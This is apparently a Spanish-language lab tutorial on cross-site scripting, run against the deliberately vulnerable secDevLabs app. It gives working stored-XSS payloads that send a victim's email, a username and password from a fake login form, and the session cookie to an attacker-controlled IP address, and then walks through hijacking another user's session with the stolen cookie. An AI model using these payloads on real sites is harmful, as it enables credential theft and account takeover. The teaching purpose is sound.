> For the complete documentation index, see [llms.txt](https://rodgar.gitbook.io/rodgar/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rodgar.gitbook.io/rodgar/othe/owasp-top-10/xss.md).

# XSS

Una vulnerabilidad **XSS** (**Cross-Site Scripting**) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.

En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.

​

Nos vamos a montar un laboratorio con este repositorio de [**GITHUB**](https://github.com/globocom/secDevLabs)

<figure><img src="/files/GsxAfStSAhExxcgOVLLr" alt=""><figcaption></figcaption></figure>

Ya con el laboratorio montano nos monta un server por el puerto 10007 donde tenemos un panel de login y registro.

Crearemos dod usuarios uno rodgar y otro leo, esto lo hacemos para en nuestras practicas le robaremos la cookie de sessions al usuario leo.

<figure><img src="/files/GwrbNmD7ChAp7Q2EPRvy" alt=""><figcaption></figcaption></figure>

Creamos a rogdra y luego a leo.

<figure><img src="/files/c3foqa8d5gME1CZPaBGk" alt=""><figcaption></figcaption></figure>

Nos logueamos como rodgar y la tipica con este pequeño codigo ver si es vulnerable a XSS.

<figure><img src="/files/qzsTRSByrIGhuBZFrDOX" alt=""><figcaption></figcaption></figure>

Cuando entramos al POST nos sale el alert, esto quiere decir que si es vulnerable a XSS, ahora vamos a seguir con un poco mas de cosas.

\---------------------------------------------------------------------------------------------------------------------

Ejercicio uno en este ejercicio le robaremos el correo electronico a un usuario el que vea el POST que posteamos.

```javascript
<script>
    var email = prompt("Por favor, introduce el correo electrónico para visualizar el post", "example@gmail.com");

    if (email == null || email === "") {
        alert("Es necesario introducir un correo electrónico para visualizar el post");
    } else {
        fetch("http://192.168.1.179/?email=" + email)
            .then(response => {
                if (!response.ok) {
                    throw new Error('Error en la solicitud');
                }
                // Aquí puedes manejar la respuesta si es necesario
                // Por ejemplo, response.json() para leer datos JSON
                console.log('Solicitud exitosa');
            })
            .catch(error => {
                console.error('Error en la solicitud:', error);
            });
    }
</script>
```

<figure><img src="/files/bzOf2LYtRBvtLF5Tc3Ql" alt=""><figcaption></figcaption></figure>

Vamos a introducir este pequeño codigo en donde se nos permite y nos lo interpreta donde le pedira ah cualquier usuario que para visualizar el POST debe proporcinar un correo electronico.

Y posteamos.

<figure><img src="/files/ZC33twNiOJcrl1a1PnVh" alt=""><figcaption></figcaption></figure>

Seguidamente si intentamos abrir el POST nos dice que Por favor, introducir correo electronico para visualizar el POST.

<figure><img src="/files/HWPaj3NaSmqnAahU8HiJ" alt=""><figcaption></figcaption></figure>

Ya habiendo estado en escucha con python el correo que la persona escriba nos lo enviara a nostros y asi habriamos hecho con su correo.

\---------------------------------------------------------------------------------------------------------------------

En este siguiente ejercicio robaremos correo y contraseña que para visualizar el POST debe proporcionar correo y contraseña.

El script sera el siguiente

```javascript
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Iniciar Sesión</title>
</head>
<body>

<div style="max-width: 300px; margin: 0 auto; text-align: center;">
    <h2>Iniciar Sesión</h2>
    <div>
        <input type="text" id="username" placeholder="Usuario">
    </div>
    <div>
        <input type="password" id="password" placeholder="Contraseña">
    </div>
    <button onclick="enviarCredenciales()">Iniciar Sesion</button>
</div>

<script>
    function enviarCredenciales() {
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;

        if (username === "" || password === "") {
            alert("Por favor, completa ambos campos.");
            return;
        }

        // solicitud GET
        fetch(`http://192.168.1.179/?username=${username}&password=${password}`)
        .then(response => {
            if (!response.ok) {
                throw new Error('Error en la solicitud');
            }
            console.log('Solicitud exitosa');
        })
        .catch(error => {
            console.error('Error en la solicitud:', error);
        });
    }
</script>

</body>
</html>
```

<figure><img src="/files/BgoRIDjeqitb6gEDRgUu" alt=""><figcaption></figcaption></figure>

Pegamos el codigo donde se nos permite introducir datos.

<figure><img src="/files/nSIbuHmLWGFYOqHMfFrk" alt=""><figcaption></figcaption></figure>

Luego si intentamos observar el POST nos dice que es necesario iniciar session. Si la persona introduce datos se nos enviara a nostros a nuestro servidor.

<figure><img src="/files/Oe6PWseaX1soZdAimzVW" alt=""><figcaption></figcaption></figure>

Estando en escucha con python3 recivimos la info que el usuario habria introducido para ver el POST, en este caso le hemos robado su correo y contraseña.

\---------------------------------------------------------------------------------------------------------------------

***Ejercicio tres, en este caso en vez de robar correos y contraseñas le robaremos la Cookie de sesion al usuario leo.***

<figure><img src="/files/UDMEpE4Fhl1V3pEfIJcx" alt=""><figcaption></figcaption></figure>

Para que esta vulnerabilidad se pueda acontecer el el HTTPOnly del navegador de la victima si esta en false nos enviaria su cookie de lo contrario no.

```javascript
<script>
	var request = new XMLHttpRequest();
	request.open('GET', 'http://192.168.1.179/?cookie=' + document.cookie);
	request.send();
</script>
```

Un codigo simple&#x20;

<figure><img src="/files/lwnB0YbJTBb2fBoh4b0R" alt=""><figcaption></figcaption></figure>

Pegamos el codigo y hacemos el POST la idea aca es robarle la cookie de session al usuario leo y pasar de ser el usuario rodgar a la cuenta de leo.

<figure><img src="/files/1s5OcvCZXj6GmfnJ49Xa" alt=""><figcaption></figcaption></figure>

Luego si nos ponemos en escucha con python3 y el usuario le pica al POST nos envia su cookie de sesion que este caso esta Cookie es del usuario leo.

<figure><img src="/files/7kPukMvpos8w1I2RPNUA" alt=""><figcaption></figcaption></figure>

Teniendo la Cookie del usuario leo y estando en la session actual que somos rodgar si nos vamos y inspeccionamos y en la cookie el valor que tenemos que es del usuario rodgar y pegamos la nueva cookie que tenemos y recargamos la pagina; observamremos que seguimos siendo el usario rodgar.

<figure><img src="/files/6Cy6EYwDr1c3BYPnfSfq" alt=""><figcaption></figcaption></figure>

Pero ahora si hacemos un nuevo POST ya con la cookie reemplazada que usuario crees que seremos leo o rodgar.

<figure><img src="/files/FfEtO13l9djYugV4ioCn" alt=""><figcaption></figcaption></figure>

* Si nos vamos al ultimo POST que era quien soy nos pone que ahora somos leo y no el usuario rodgar, Porque Porque hemos obtenido la cookie de session del usuario leo y la hemos reemplazado en el storage del navegador.
